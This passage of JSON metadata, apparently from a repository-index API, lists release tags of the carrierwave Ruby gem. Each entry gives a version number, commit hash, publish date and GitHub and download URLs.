"},{"name":"v3.0.4","sha":"0c50a8bc7d1c39fe15be056fb22c7b110b9815ae","kind":"tag","published_at":"2023-10-08T09:42:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4/manifests"},{"name":"v1.3.4","sha":"25b289e928eadc049d2c5f00d8b6864f451fcf79","kind":"tag","published_at":"2023-09-24T09:19:20.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4/manifests"},{"name":"v3.0.3","sha":"f31546ac41c6a11480425b1528e6834581da2726","kind":"tag","published_at":"2023-08-21T02:43:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"d339c275f49de70547c2e5e6145e72fdfdc6379a","kind":"tag","published_at":"2023-08-01T07:15:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"3bdbfda18ab3e6aa07a3954f3c6f11d69437a1d8","kind":"tag","published_at":"2023-07-22T09:36:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"269c37a6c8609c26915f31ccfada512ef12fb3cb","kind":"tag","published_at":"2023-07-02T09:22:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0/manifests"},{"name":"v3.0.0.rc","sha":"114d5935e137825266ecd7cfe2ceadb07ce9b96f","kind":"tag","published_at":"2023-06-11T09:56:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc/manifests"},{"name":"v2.2.4","sha":"2f91bee6487d8e5d8bd2c1a88dd25269a2c1e4d0","kind":"tag","published_at":"2023-06-10T06:22:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4/manifests"},{"name":"v1.3.3","sha":"c5565e00f2898a3c78bc197662e53e5e535dc708","kind":"tag","published_at":"2023-02-02T10:40:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3/manifests"},{"name":"v2.2.3","sha":"baf5df7d9acea95f46eaea456743241ef3d644f5","kind":"tag","published_at":"2022-11-21T09:10:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3/manifests"},{"name":"v3.0.0.beta","sha":"6cb797aca9aaaf2e12257ced4f4709fbdafaff7c","kind":"tag","published_at":"2022-11-19T10:19:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta/manifests"},{"name":"v2.2.2","sha":"32abf5b2caf7baa8fca74324009bc1fe1acbed14","kind":"tag","published_at":"2021-05-28T10:09:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"2dba2c1a45f3a8a4ac3e6abef3151dc2d8b9d641","kind":"tag","published_at":"2021-03-30T03:43:15.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"13330a70323cde83b319520f5c1874227de79cdf","kind":"tag","published_at":"2021-02-23T08:00:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"003e2ceeaa856f2605cf8096b401e76168ffc8ba","kind":"tag","published_at":"2021-02-08T04:52:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1/manifests"},{"name":"v1.3.2","sha":"56f39b23d16431a79faf8e361d4ee08238db2f66","kind":"tag","published_at":"2021-02-08T04:29:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2/manifests"},{"name":"v2.1.0","sha":"3356634d80d372c458030460978c3b63c006e042","kind":"tag","published_at":"2020-02-16T09:11:07.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"f81bb4d90c610c4e5d68c2057ab977620d7089a1","kind":"tag","published_at":"2019-09-28T05:10:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"e1c3eea981ad3963bf5bf5af586286abd1252caa","kind":"tag","published_at":"2019-08-31T03:41:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"96a0b03c415f816d39f539126759f2278ce36c74","kind":"tag","published_at":"2019-08-18T04:29:55.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc","sha":"0e8742be085410f1e08ef9f42c717267100d92e9","kind":"tag","published_at":"2019-06-23T08:23:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc/manifests"},{"name":"v1.3.1","sha":"9d17a443d39ddf0c44bac985f69bf4c94d923a16","kind":"tag","published_at":"2018-12-29T09:55:27.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"930abb7b2043999b1648ba1c2274585ccaf014e4","kind":"tag","published_at":"2018-12-24T10:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"61c3ba833e7d0f06da40c7672d9de1694d5f2cbc","kind":"tag","published_at":"2018-06-30T07:29:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"9ffd67e4c443d4ab750352ad7470301908f4fdfb","kind":"tag","published_at":"2018-01-02T09:20:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"32519e0df2739d82dfd89e6ca206da41346bb47d","kind":"tag","published_at":"2017-10-04T01:49:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"63b9396960d7bbaa41f642c9ccd5519218c61103","kind":"tag","published_at":"2017-09-30T08:58:00.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"07dc4d7bd7806ab4b963cf8acbad73d97cdfe74e","kind":"tag","published_at":"2017-04-30T06:05:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"9a9c954a67e27b63b1cbef5e112ebe3542d1584b","kind":"tag","published_at":"2016-12-24T05:21:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0/manifests"},{"name":"v1.0.0.rc","sha":"1d2f26428fe944977a91fe5fdf2fb033d5a13239","kind":"tag","published_at":"2016-10-30T10:06:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc/manifests"},{"name":"v1.0.0.beta","sha":"c45699c318ca895f89fa3304204e48b5f1c411f1","kind":"tag","published_at":"2016-09-08T05:03:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta/manifests"},{"name":"v0.11.2","sha":"57923136a0a1fe55ab82875b8a3786194a3b2500","kind":"tag","published_at":"2016-05-06T15:15:36.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"5837d6164017a2a274a03e5c170f3c0d62aac82f","kind":"tag","published_at":"2016-05-05T11:14:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"0575791f77fe1c1f0d84de61eed07d0969d56505","kind":"tag","published_at":"2016-03-29T12:33:44.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"3a0978a390de9d96d05e5befc40b2fabc27644cc","kind":"commit","published_at":"2014-02-26T23:07:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.10.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"2e3881c400ced3a5ad6e3c4ffdc5fcf8c1ae32de","kind":"commit","published_at":"2013-07-06T22:01:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.9.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"e28e64460e81524357b5c786a259eb4dd87a95e6","kind":"commit","published_at":"2013-01-08T16:16:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.8.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"745db6e26f47adca3a28c93170b22216b5480f9a","kind":"commit","published_at":"2012-11-08T21:14:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"1bc66f66a0adad864985e76db007b7eacca0fb21","kind":"commit","published_at":"2012-10-19T20:29:49.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0/manifests"},{"name":"v0.6.2","sha":"5ee108128b40f2067c23971884a0ebf53213c860","kind":"commit","published_at":"2012-04-13T03:34:21.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9c6826394506bf41c94a30e41657a047bb099251","kind":"commit","published_at":"2012-04-03T00:51:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"34aa12e9c6937cf0cdf9d447edccc6e25b9cbe6e","kind":"commit","published_at":"2012-03-27T20:37:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0","manifests_url":"https://repos.ecosyste.